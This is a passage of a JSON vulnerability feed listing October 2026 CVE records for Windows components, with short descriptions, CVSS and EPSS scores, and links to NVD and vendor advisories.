2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97809, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97808","cveId":"CVE-2026-97808","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.903Z","updatedAt":"2026-10-16T17:18:04.987Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97808","asOf":"2026-10-16T17:18:04.987Z"},"epss":{"probability":0.00279,"percentile":0.2019,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97808","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97808","type":"primary","publishedAt":"2026-10-13T19:22:18.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97808","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97807","cveId":"CVE-2026-97807","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.763Z","updatedAt":"2026-10-16T17:18:04.847Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97807","asOf":"2026-10-16T17:18:04.847Z"},"epss":{"probability":0.00303,"percentile":0.22815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97807&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97807","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97807","type":"primary","publishedAt":"2026-10-13T19:22:18.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97807","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97807&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97807, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97806","cveId":"CVE-2026-97806","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.627Z","updatedAt":"2026-10-16T17:18:04.710Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97806","asOf":"2026-10-16T17:18:04.710Z"},"epss":{"probability":0.00353,"percentile":0.28695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97806&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97806","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97806","type":"primary","publishedAt":"2026-10-13T19:22:18.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97806","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97806&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97806, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97804","cveId":"CVE-2026-97804","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.280Z","updatedAt":"2026-10-16T17:18:04.387Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97804","asOf":"2026-10-16T17:18:04.387Z"},"epss":{"probability":0.0034,"percentile":0.27133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97804&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97804","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97804","type":"primary","publishedAt":"2026-10-13T19:22:18.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97804","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97804&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97804, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97803","cveId":"CVE-2026-97803","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.160Z","updatedAt":"2026-10-16T10:40:28.667Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 26h1","stacks":["Microsoft Windows","windows 11 26h1"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97803","asOf":"2026-10-16T10:40:28.667Z"},"epss":{"probability":0.00353,"percentile":0.28695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97803&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97803","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97803","type":"primary","publishedAt":"2026-10-13T19:22:18.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97803","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97803&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97803, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97800","cveId":"CVE-2026-97800","aliases":[],"kind":"vulnerability","title":"Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.","summary":"Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.","detail":"Incorrect permission assignment for critical resource in Windows Mobile Broadband allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.900Z","updatedAt":"2026-10-16T10:40:32.290Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97800","asOf":"2026-10-16T10:40:32.290Z"},"epss":{"probability":0.00304,"percentile":0.22972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97800","type":"primary","publishedAt":"2026-10-13T19:22:17.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97800","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97799","cveId":"CVE-2026-97799","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.","summary":"Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.","detail":"Improper verification of cryptographic signature in Windows Audio Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.780Z","updatedAt":"2026-10-16T10:40:35.857Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97799","asOf":"2026-10-16T10:40:35.857Z"},"epss":{"probability":0.00325,"percentile":0.25339,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97799","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97799","type":"primary","publishedAt":"2026-10-13T19:22:17.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97799","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97798","cveId":"CVE-2026-97798","aliases":[],"kind":"vulnerability","title":"Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Improper neutralization of argument delimiters in a command ('argument injection') in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.640Z","updatedAt":"2026-10-16T17:18:04.017Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97798","asOf":"2026-10-16T17:18:04.017Z"},"epss":{"probability":0.0037,"percentile":0.30602,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97798","type":"primary","publishedAt":"2026-10-13T19:22:17.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97798","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97794","cveId":"CVE-2026-97794","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.507Z","updatedAt":"2026-10-16T10:40:45.380Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97794","asOf":"2026-10-16T10:40:45.380Z"},"epss":{"probability":0.00311,"percentile":0.23701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97794&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97794","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97794","type":"primary","publishedAt":"2026-10-13T19:22:17.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97794","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97794&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97794, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97793","cveId":"CVE-2026-97793","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.","summary":"Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.","detail":"Missing authentication for critical function in Windows Setup and Deployment allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.353Z","updatedAt":"2026-10-16T17:18:03.877Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97793","asOf":"2026-10-16T17:18:03.877Z"},"epss":{"probability":0.0025,"percentile":0.16155,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97793","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97793","type":"primary","publishedAt":"2026-10-13T19:22:17.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97793","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97792","cveId":"CVE-2026-97792","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:17.227Z","updatedAt":"2026-10-16T10:40:51.870Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","Microsoft Office","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97792","asOf":"2026-10-16T10:40:51.870Z"},"epss":{"probability":0.00316,"percentile":0.24254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97792","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97792","type":"primary","publishedAt":"2026-10-13T19:22:17.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97792","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97789","cveId":"CVE-2026-97789","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in 